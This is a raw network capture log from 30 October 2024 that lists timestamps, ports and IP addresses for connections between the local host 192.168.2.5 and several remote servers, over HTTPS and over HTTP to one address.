Oct 30, 2024 18:06:50.088145971 CET	443	49921	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.090627909 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.090662003 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.090743065 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.091006041 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.091015100 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.095642090 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.096071005 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.096080065 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.096576929 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.096580982 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.237103939 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.237183094 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.237303019 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.237499952 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.237514019 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.237545967 CET	49922	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.237552881 CET	443	49922	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.241144896 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.241184950 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.241297960 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.241611004 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.241621971 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.339366913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.339407921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.339447975 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.339504004 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.339855909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.339910030 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.340140104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.340188026 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.342981100 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.343456984 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.344027042 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.344062090 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.344542027 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.344549894 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.351438999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.485300064 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.485414982 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.485649109 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.486310005 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.486337900 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.486356020 CET	49923	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.486362934 CET	443	49923	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.496176958 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.496238947 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.496506929 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.496889114 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.496902943 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.536221981 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.536860943 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.536876917 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.537427902 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.537432909 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.608473063 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.608556986 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.608611107 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.608624935 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.608654022 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.608681917 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.609255075 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.609273911 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.609282017 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.609596968 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.609683037 CET	443	49917	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.610661983 CET	49917	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.627773046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.627852917 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.637104988 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.637574911 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.637603045 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.638750076 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.638832092 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.639163971 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.639228106 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.639343977 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.639352083 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.645133018 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:50.650598049 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:50.677308083 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.677336931 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.677387953 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.677395105 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.677448034 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.677743912 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.677761078 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.677798986 CET	49924	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.677804947 CET	443	49924	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.681312084 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.681361914 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.681456089 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.681622028 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.681636095 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.684461117 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.694372892 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.694406986 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.694482088 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.694669008 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:50.694679022 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:50.767318964 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.767352104 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.767417908 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.767441988 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.767493010 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.767550945 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.767599106 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.767651081 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.770858049 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.770872116 CET	443	49925	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.770880938 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.770920038 CET	49925	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.777421951 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.777456999 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.777532101 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.777790070 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:50.777806044 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:50.856357098 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.859406948 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.859428883 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.859908104 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.859913111 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.878346920 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.879709005 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.879733086 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.880261898 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.880273104 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.985248089 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.986574888 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.986603975 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.987104893 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.987113953 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.995233059 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.995505095 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.995559931 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.995575905 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.995609045 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.996139050 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.996156931 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:50.996166945 CET	49927	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:50.996172905 CET	443	49927	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.001277924 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.001327991 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.001442909 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.001878977 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.001897097 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.017282009 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.017353058 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.018780947 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.020209074 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.020245075 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.020378113 CET	49926	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.020385981 CET	443	49926	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.025616884 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.025671959 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.025768042 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.025966883 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.025980949 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.120831966 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.120899916 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.121141911 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.128488064 CET	49928	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.128524065 CET	443	49928	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.191895008 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.191955090 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.192025900 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.192215919 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.192234039 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.263811111 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.264750957 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.264786005 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.265290022 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.265296936 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.404092073 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.404247999 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.404362917 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.404504061 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.404557943 CET	49929	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.404577971 CET	443	49929	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.404926062 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.404941082 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.406203032 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.406706095 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.406862020 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.406867981 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.406884909 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.408332109 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.408358097 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.408520937 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.408687115 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.408703089 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.427395105 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:51.427478075 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:51.445771933 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.446743011 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.446770906 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.447288990 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.447293997 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.453032017 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.459301949 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:51.464853048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:51.537933111 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.537991047 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.538011074 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.538045883 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.538064003 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.538086891 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.538184881 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.538259029 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.541719913 CET	49932	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.541739941 CET	443	49932	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.549869061 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.549937963 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.550000906 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.550220966 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:51.550235987 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:51.583797932 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.584175110 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.584239960 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.584393978 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.584393978 CET	49930	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.584422112 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.584436893 CET	443	49930	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.588207960 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.588253975 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.588315964 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.588489056 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.588500977 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.746628046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:51.746685982 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:51.748326063 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:51.753875971 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:51.754641056 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.755160093 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.755188942 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.755728960 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.755733967 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.788089991 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.788582087 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.788619041 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.789052963 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.789060116 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.813951015 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:51.814521074 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:51.814548016 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:51.815124989 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:51.815129042 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:51.815181971 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:51.815188885 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:51.892868996 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.892896891 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.892935991 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.892976999 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.893006086 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.893363953 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.893382072 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.893397093 CET	49933	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.893403053 CET	443	49933	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.896733999 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.896785021 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.897006989 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.897253990 CET	49939	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.897267103 CET	443	49939	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.927145958 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.927218914 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.927292109 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.927494049 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.927510023 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.927536011 CET	49934	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.927541971 CET	443	49934	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.930803061 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.930830956 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.930906057 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.931103945 CET	49940	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.931112051 CET	443	49940	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.934644938 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.935200930 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.935213089 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:51.935754061 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:51.935759068 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.071230888 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.071317911 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.071443081 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.071675062 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.071698904 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.071712971 CET	49935	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.071718931 CET	443	49935	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.075211048 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.075253963 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.075448990 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.075623035 CET	49941	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.075634003 CET	443	49941	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.147947073 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.148456097 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.148484945 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.148845911 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.149239063 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.149308920 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.149530888 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.175028086 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.183661938 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.183697939 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.185058117 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.185071945 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.195334911 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.278033018 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.278064966 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.278136015 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.278136969 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.278175116 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.282105923 CET	49937	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.282130003 CET	443	49937	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.287795067 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.287847996 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.288106918 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.288316011 CET	49942	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:52.288324118 CET	443	49942	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:52.320382118 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.320952892 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.321019888 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.321156979 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.321185112 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.321199894 CET	49936	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.321206093 CET	443	49936	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.324402094 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.324453115 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.324649096 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.324841976 CET	49943	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.324853897 CET	443	49943	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.357382059 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.358001947 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.358052015 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.358572006 CET	49938	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:52.358583927 CET	443	49938	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:52.361000061 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361021042 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361063957 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361222982 CET	49931	443	192.168.2.5	40.126.32.68
Oct 30, 2024 18:06:52.361236095 CET	443	49931	40.126.32.68	192.168.2.5
Oct 30, 2024 18:06:52.361510992 CET	49931	443	192.168.2.5	40.126.32.68
